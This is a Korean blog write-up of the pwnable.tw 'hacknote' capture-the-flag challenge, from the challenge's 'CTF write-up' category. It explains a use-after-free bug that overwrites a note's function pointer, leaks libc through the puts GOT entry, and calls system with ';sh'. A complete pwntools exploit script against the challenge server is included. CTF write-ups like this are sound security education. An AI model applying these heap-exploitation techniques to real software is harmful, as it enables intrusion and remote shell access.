Profile

youngsouk

youngsouk

hacknote writeup

처음에 ida를 통해 문제를 열게 되면 함수들이 sub~~어쩌구로 나오게 되는데 이것을 실행했을때 나오게 되는 선택지로 함수 이름을 복구하면 됩니다. 그래서 복구를 해보게 되면 main은

void __cdecl __noreturn main()
{
  int v0; // eax
  char buf; // [esp+8h] [ebp-10h]
  unsigned int v2; // [esp+Ch] [ebp-Ch]

  v2 = __readgsdword(0x14u);
  setvbuf(stdout, 0, 2, 0);
  setvbuf(stdin, 0, 2, 0);
  while ( 1 )
  {
    while ( 1 )
    {
      intro();
      read(0, &buf, 4u);
      v0 = atoi(&buf);
      if ( v0 != 2 )
        break;
      delete_note();
    }
    if ( v0 > 2 )
    {
      if ( v0 == 3 )
      {
        print_note();
      }
      else
      {
        if ( v0 == 4 )
          exit(0);
LABEL_13:
        puts("Invalid choice");
      }
    }
    else
    {
      if ( v0 != 1 )
        goto LABEL_13;
      add_note();
    }
  }
}

add_note를 보면

unsigned int add_note()
{
  _DWORD *v0; // ebx
  signed int i; // [esp+Ch] [ebp-1Ch]
  int size; // [esp+10h] [ebp-18h]
  char buf; // [esp+14h] [ebp-14h]
  unsigned int v5; // [esp+1Ch] [ebp-Ch]

  v5 = __readgsdword(0x14u);
  if ( malloc_cnt <= 5 )
  {
    for ( i = 0; i <= 4; ++i )                  // max : 5
    {
      if ( !ptr[i] )
      {
        ptr[i] = malloc(8u);                    // header
        if ( !ptr[i] )
        {
          puts("Alloca Error");
          exit(-1);
        }

        *ptr[i] = sub_804862B;

        printf("Note size :");
        read(0, &buf, 8u);
        size = atoi(&buf);
        v0 = ptr[i];

        v0[1] = malloc(size);
        if ( !*(ptr[i] + 1) )
        {
          puts("Alloca Error");
          exit(-1);
        }

        printf("Content :");
        read(0, *(ptr[i] + 1), size);
        puts("Success !");
        ++malloc_cnt;
        return __readgsdword(0x14u) ^ v5;
      }
    }
  }
  else
  {
    puts("Full");
  }
  return __readgsdword(0x14u) ^ v5;
}

add_note부분을 보자면 우리가 요청한 크기만큼 할당을 해주는 부분인데 조건문을 통해 최대가 5번이라는 것을 알 수 있습니다. 할당 과정은 ptr배열에 우리가 원하는 size만큼 malloc할 포인터에 대한 정보가 들은 header를 저장해둡니다. 그 다음에는 그 헤더를 통해 아까 malloc()한 포인터에 접근하여 요청한 크기만큼 할당을 해줍니다. 여기서 좀 특별한 부분이 보이는데 바로 header 부분에 sub_804862B를 저장한다는 것입니다. 저 부분을 보게되면 

이렇게 puts의 기능을 하는 부분이라는 것을 알 수 있습니다. 

다음으로 delete_note를 보겠습니다. 

여기에서는 할당한 청크들을 free시켜주는 함수 부분인데 명확하게 free를 한뒤에 ptr배열의 값을 초기화를 안하는 것을 볼 수 있습니다. 이것을 통해 익스플로잇을 할 수 있을 것 같습니다.

다음으로는 prin_note부분을 보겠습니다.

print_note부분에서는 함수포인터를 통해 값들을 출력해주게 되는데 *ptr[v1]에는 정상적으로 진행이 되었다면 sub_804862B이 들어있습니다. 즉 sub_804862B을 호출하는 것입니다. 여기서 취약점이 발생하는데 우리가 만약에 sub_804862B의 함수가 출력해주는 주소에 함수의 got주소가 있게된다면 libc leak을 손쉽게 할 수 있을 것이고 이를 바탕으로 *ptr[v1]을 system함수의 주소로 바꾸어 주면 손쉽게 쉘을 딸 수 있을 것입니다. 

그래서 익스플로잇 계획은 이렇게 됩니다.

1. sub_804862B의 함수의 인자를 수정해 libc leak

2. 1번을 바탕으로 *ptr[v1]을 system함수의 주소로 바꾸어 쉘을 딴다.

1번과정을 수행하려면 uaf를 활용해야합니다. 활용하는 방식은  free시킨 청크 재사용하는 특성을 이용해 header부분을 우리가 원하느 크기만큼 할당받는 주소로 바꿉니다. 즉 header부분을 우리가 원하는대로 수정을 할 수 있도록 하는 것입니다. 그것을 코드로 나타내면

### uaf
add(5000,'a')
add(50,'a')
delete(0)
delete(1)
###########

d이렇게 하게 되면 다음에 할당을 받을 때에는 헤더 부분을 할당받게 됩니다. 이를 바탕으로 libc leak을 할 수 있습니다. 왜냐하면 헤더 부분을 수정할 수 있으므로 sub_804862B의 함수의 인자 또한 변경이 가능하기 때문입니다. 이것도 코드로 나타내면

###libc leak
fun = 0x0804862B
add(8,p32(fun) + p32(e.got['puts']))
print_note(0)

libc = u32(p.recvuntil('\xf7')) - l.sym['puts']
log.success('libc : ' + hex(libc))
log.success('sys : ' + hex(libc + l.sym['system']))
#############

d이렇게 libc leak까지 끝마쳤으면 우리는 다시한번 uaf를 이용해 우리가 원하는 system함수를 실행시킬 수 있습니다. 여기서 주의할 것이 print_note부분에서 인자가 ptr[v1]으로 들어가게 됩니다. 즉 청크 자기자신이 인자로 들어가게 됩니다. 그래서 그냥 system함수를 실행시키게 되면 system(system의 주소)이런식으로 실행이 되게 됩니다. 그래서 우리는 system(system의 주소;sh)이렇게 되게 만들 것입니다. 왜냐하면 bash보다는 sh가 같은 기능을 하는데 글자수는 적어서 더 좋기 때문입니다. 이것을 코드로 나타내면

###system(system addr;sh\x00) --> get shell
delete(2)
add(12, p32(libc + l.sym['system'])+';sh\x00')

print_note(0)
############

이렇게 되게 됩니다. 이로서 우리는 쉘을 딸 수 있습니다. 전체 코드를 보자면 이렇게 됩니다.

from pwn import *

def add(size, content):
        p.sendlineafter('Your choice :', '1')
        p.sendlineafter('Note size :', str(size))
        p.sendafter("Content :", str(content))

def delete(idx):
        p.sendlineafter('Your choice :', '2')
        p.sendlineafter('Index :', str(idx))

def print_note(idx):
        p.sendlineafter('Your choice :', '3')
        p.sendlineafter('Index :', str(idx))

#p = process('./hacknote')
p = remote("chall.pwnable.tw", 10102)
e = ELF('./hacknote')
#l = e.libc
l = ELF('libc_32.so.6')

pause()
context.log_level="debug"

### uaf
add(5000,'a')
add(50,'a')
delete(0)
delete(1)
###########
###libc leak
fun = 0x0804862B
add(8,p32(fun) + p32(e.got['puts']))
print_note(0)

libc = u32(p.recvuntil('\xf7')) - l.sym['puts']
log.success('libc : ' + hex(libc))
log.success('sys : ' + hex(libc + l.sym['system']))
#############
###system(system addr;sh\x00) --> get shell
delete(2)
add(12, p32(libc + l.sym['system'])+';sh\x00')

print_note(0)
############

p.interactive()

 

'CTF write-up > pwnable.tw' 카테고리의 다른 글

[pwnable.tw] heap_paradise  (0) 2019.11.30
[pwnable.tw] spirited away  (0) 2019.11.13
[pwnable.tw] tcache_tear  (0) 2019.11.12
[pwnable.tw] Unexploitable  (0) 2019.11.08
[pwnable.tw] secret garden  (0) 2019.11.08